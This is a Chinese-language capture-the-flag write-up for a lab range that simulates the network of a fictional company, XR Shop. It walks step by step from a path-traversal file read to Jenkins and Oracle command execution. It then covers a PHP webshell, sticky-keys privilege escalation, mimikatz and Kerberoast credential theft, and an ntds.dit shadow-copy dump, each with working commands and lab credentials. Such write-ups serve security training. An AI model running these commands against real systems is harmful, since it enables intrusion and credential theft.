春秋云镜-Privilege

靶标介绍:

在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。

flag01

请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。

先是fscan扫扫看看

image-20240921170605034

发现www.zip,利用代码审计

image-20240921171817913

发现在/tools/content-log.php存在任意文件读取

1
2
3
4
5
6
7
8
9
<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {
// Get the content and echo it.
$text = file_get_contents( $logfile );
echo( $text );
}
exit;

结合题目描述得到密码

1
./tools/content-log.php?logfile=../../../../../../../../../ProgramData/Jenkins/.jenkins/secrets/initialAdminPassword

510235cf43f14e83b88a9f144199655b

http://39.101.176.68:8080/admin/510235cf43f14e83b88a9f144199655b来到后台

admin/510235cf43f14e83b88a9f144199655b登陆

image-20240921172454714

groovy脚本命令执行,添加用户

1
2
3
4
5
6
7
8
println "net user Q1ngchuan 123Aa@  /add".execute().text

println "net localgroup administrators Q1ngchuan /add".execute().text
远程连上

也可以写马
new File("C:/phpstudy_pro/WWW/shell.php").write('<?php eval($_POST["pass"]);');
http://39.101.176.68/shell.php

http://39.101.176.68/tools/content-log.php?logfile=../../../../../../../../../Users/Administrator/flag/flag01.txt可直接读取flag

image-20240921173357661

flag02

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

上fscan frpc

image-20240921173723545

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
172.22.14.31:139 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:139 open
172.22.14.46:135 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:135 open
172.22.14.7:80 open
172.22.14.7:139 open
172.22.14.16:22 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.7:8080 open
172.22.14.46:80 open
172.22.14.16:8060 open
172.22.14.16:80 open
172.22.14.31:1521 open
172.22.14.7:3306 open
172.22.14.11:88 open
172.22.14.16:9094 open
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file

image-20240921174018459

172.22.14.7 XR-JENKINS 入口机

172.22.14.46 XR-0923 域内机器

172.22.14.11 XR-DC 域控机器

172.22.14.31 XR-ORACLE

172.22.14.16 GitLab

后面根剧题目描述要打oracle了

找到

GitLab API token

image-20240921174241418

image-20240921174335507

1
2
3
{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

image-20240921174436360

1
glpat-7kD_qLH2PiQv_ywB9hz2

使用 Access Token 去请求 GitLab API,返回所有的项目列表:

1
proxychains -q curl --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" http://gitlab.xiaorang.lab/api/v4/projects | python -m json.tool

之后将项目git下来看看

1
2
3
4
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git 用户名密码
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git 源码相关一些
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git

image-20240921175314728找到数据库用户名和密码

url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf

利用obat创建用户

1
2
3
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user Q1ngchuan 123456Aa@ /add'

proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators Q1ngchuan /add'

远程连接上

image-20240921175832729

flag03

攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。

下面要拿下某机器了172.22.14.46

前面拿到了相关的用户名和密码

XR-0923 | zhangshuai | wSbEajHzZs

直接远程连接试试

image-20240921180127254

上去之后发现没权限读取flag

显然要提权

查看权限

1
net user zhangshuai

zhangshuai是Remote Management Use组的,可以打winrm(远程管理)默认的WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信

使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。这样的管理服务当然不会被攻击者错过,在内网渗透中,我们可以使用 WinRM 服务进行横向移动,并且使用这种远程连接进行横向移动不容易被察觉到,也不会占用远程连接数。

image-20240921181203784

1
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
1
whoami /priv

image-20240921181308096发现比RDP多了一个SeRestorePrivilege

SeRestorePrivilege

对当前系统任意文件具有写的权限。

利用思路:

参考映像劫持,不过在win10中不能用。

https://cloud.tencent.com/developer/article/1672598

一共9大权限,还有8个可以利用

具体可看:

https://blog.csdn.net/qq_41874930/article/details/111963586

粘滞键提权

1
2
ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe

image-20240921181459190

回到rdp锁定用户,在登录处按5下shift触发粘滞键弹出cmd拿到SYSTEM

image-20240921181656775

flag04

尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

创建一个管理员用户登录

1
2
net user Q1ngchuan 123456Aa@ /add
net localgroup administrators Q1ngchuan /add

image-20240921182113874传个猕猴桃上去,以管理员权限运行导出哈希

但却出现了这个问题

1
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

image-20240922181610577

后面换了个猕猴桃才行,这里贴一下链接:

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/9/22 18:02:13
SID : S-1-5-90-0-3
msv :
[00000003] Primary

  • Username : XR-0923$

  • Domain : XIAORANG

  • NTLM : 46f09188dd9b67e672c0d3554ba3cd06

  • SHA1 : 9d0fb4ade8bbdc45a35a2426e799bf90a7b82277
    :
    wdigest :

  • Username : XR-0923$

  • Domain : XIAORANG

  • Password : (null)
    ros :

  • Username : XR-0923$

  • Domain : xiaorang.lab

  • Password : a2 8f 6e a2 06 94 5a e6 68 10 6d 37 a5 d8 46 48 0e 72 dd f9 71 9b ed ef b0 72 ee 3a 14 1c 2b d8 76 d2 49 e2 0e e3 74 c6 82 25 71 01 b5 f2 b1 87 f3 f5 09 7e 5b 50 f3 16 dc 3e 4a ca f2 9d 57 3f ce 16 15 0a 57 4e 90 95 9a 65 f7 2d 76 3a 4b c5 c3 d6 08 41 8d db 91 5c ea 5f 09 a6 b9 0a 32 dd 5d 38 84 f3 b7 f4 1f 3b 27 1f 49 c7 29 b7 d7 a1 9a 58 a3 08 ae 70 8e 53 39 d4 4b 29 65 50 8c 32 67 8c e7 82 90 e6 44 9a dd fe ce a6 87 6b 0b 0e d0 70 90 90 55 68 ac 19 e7 06 d6 48 07 e0 85 ef 38 73 2a 79 1d 75 5a b9 69 6c 60 bd 6c 43 07 15 29 8f 0f fc 3c 63 90 41 d8 62 79 11 47 04 d9 29 48 f2 01 5b 3b 42 c6 cc 7b e0 28 a8 d7 cb fa ee 18 b2 7d 6b 81 71 a6 79 4c 1a 79 3e f4 bc b3 4e 6d fc 2b 7c 13 95 43 b4 37 da 1f 6d ba 17 4c e2

    ​ credman :
    ​ cloudap :

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':46f09188dd9b67e672c0d3554ba3cd06' -dc-ip 172.22.14.11

image-20240922181809326

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':46f09188dd9b67e672c0d3554ba3cd06' -dc-ip 172.22.14.11 -request-user tianjing

image-20240922181926048

1
2
3
proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 

whami /priv查看用户权限,发现又多一个SeBackupPrivilege

image-20240922182051772

卷影拷贝

有备份以及还原文件和目录的权限,尝试导出sam和system。

首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下

1
2
3
4
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

1
unix2dos raj.dsh

C:/下随便创个目录,上传raj.dsh

image-20240922182646144

1
2
3
4
RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit
reg save HKLM\SYSTEM system
download system

image-20240922183714979

1
impacket-secretsdump -ntds ntds.dit -system system local

image-20240922184306331

image-20240921185451993

总结

也是第一次接触到Jenkins,了解到了新的方式,中途猕猴桃传上去没法用,查了老半天,害的我做了2遍。。。。我的时间,我的金钱,呜呜呜。也是接触到了卷硬拷贝,中间有些费时间,正好中途加载的时间去了解了一下。卷硬拷贝主要是是读取ntds.dit,导出其中的hash值,进而利用hash传递拿到域控管理员的权限。